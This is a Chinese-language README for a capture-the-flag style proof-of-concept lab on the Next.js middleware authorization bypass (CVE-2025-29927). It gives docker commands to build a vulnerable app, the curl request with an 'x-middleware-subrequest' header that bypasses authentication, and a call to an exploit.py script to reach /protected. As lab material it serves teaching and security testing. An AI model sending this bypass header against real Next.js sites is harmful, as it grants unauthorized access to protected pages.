这是一个基于 夺旗(CTF) 风格的漏洞概念验证,适用于 Next.js 中间件授权绕过 漏洞(CVE-2025-29927)。目标是通过绕过认证中间件,从 /protected 路由获取旗标。
/protected/git clone https://github.com/mhamzakhattak/CVE-2025-29927
cd CVE-2025-29927
cd nextjs-docker
sudo docker build -t nextjs-auth-app .
sudo docker run -p 3000:3000 nextjs-auth-app
这会在 http://IP:3000 上启动存在漏洞的 Next.js 应用。
尝试访问:
curl -i http://IP:3000/protected
你会被重定向到 /。
curl -H "x-middleware-subrequest: middleware" http://IP:3000/protected
使用提供的 exploit.py 绕过中间件并访问受保护路由:
python3 exploit.py -url http://IP:3000
如果成功,你将从中获取旗标 /protected。
Dockerfile - 构建存在漏洞的 Next.js 应用exploit.py - 利用漏洞绕过认证pages/ - 包含存在漏洞的 /protected 和 /login 路由middleware.js - 存在漏洞的中间件逻辑README.md - 本文件此 PoC 仅用于教育及研究目的。请勿将其用于你不拥有或未经明确许可测试的系统。
通过利用漏洞访问以下地址来寻找旗标:
http://IP:3000/protected
祝你好运!🏴☠️